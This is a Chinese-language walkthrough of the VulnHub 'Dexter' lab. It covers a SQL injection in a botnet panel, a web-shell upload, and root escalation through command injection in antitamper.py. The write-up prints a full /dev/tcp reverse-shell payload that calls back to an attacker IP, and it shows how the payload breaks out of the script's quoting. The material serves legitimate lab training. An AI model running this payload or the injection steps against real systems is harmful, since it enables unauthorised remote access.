Bot Challenges: Dexter
项目地址:https://download.vulnhub.com/botchallenges/MurderingDexter.zip
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

开局一个登录框

SQL 注入
Dexter (CasinoLoader) SQL Injection
直接搜索 Nday

拿到账号密码登录
1 | loserbotter |
文件上传
File Uploader
登录后才能上传文件,直接传木马

在这个路径中找到上传的木马

提权
Python 命令注入
连接上后发现有个 antitamper.py 文件

脚本内容如下,验证指定文件的 MD5 哈希值是否匹配
1 | import os |
从 JSON 文件中读取一个键值对,其中:
f是键(key),表示文件路径content[f]是对应的值,表示该文件预期的 MD5 哈希值
1 | s = "echo '%s %s' | md5sum -c --status >> /var/www/tamper.log" % (content[f], f) |
f(文件路径)来自 JSON 文件,而该文件对运行 Web 服务的 www-data 用户是可写的
这意味着攻击者可以任意修改 JSON 文件的内容,从而控制 f 的值
在生成命令时,f 直接被拼接到单引号包裹的位置
由于没有进行任何转义,如果 f 中包含单引号、分号等特殊字符,就会提前闭合掉原本的单引号,随后插入攻击者想要的任意命令
1 | echo 'd41d8cd98f00b204e9800998ecf8427e'; /bin/bash -c 'exec 5<>/dev/tcp/192.168.187.129/4444; cat <&5 | while read line; do $line 2>&5 >&5; done'; echo '' | md5sum -c --status >> /var/www/tamper.log |
这里的第一个 ' 闭合了原代码中的左单引号
Payload 末尾的 echo ' 与原代码剩下的 ' 结合,变成了 echo ''
cat <&5 读取文件描述符 5 的内容(即从攻击者那里收到的命令),通过管道传给 while 循环,循环读取每一行并执行($line 作为命令),同时将命令的输出(stdout 和 stderr)都重定向回文件描述符 5,即发送回攻击者的终端
1 | cat <&5 | while read line; do $line 2>&5 >&5; done |
查看 antitamper.list 文件内容
1 | { |
在最后一行添加上反弹 Shell
1 | { |
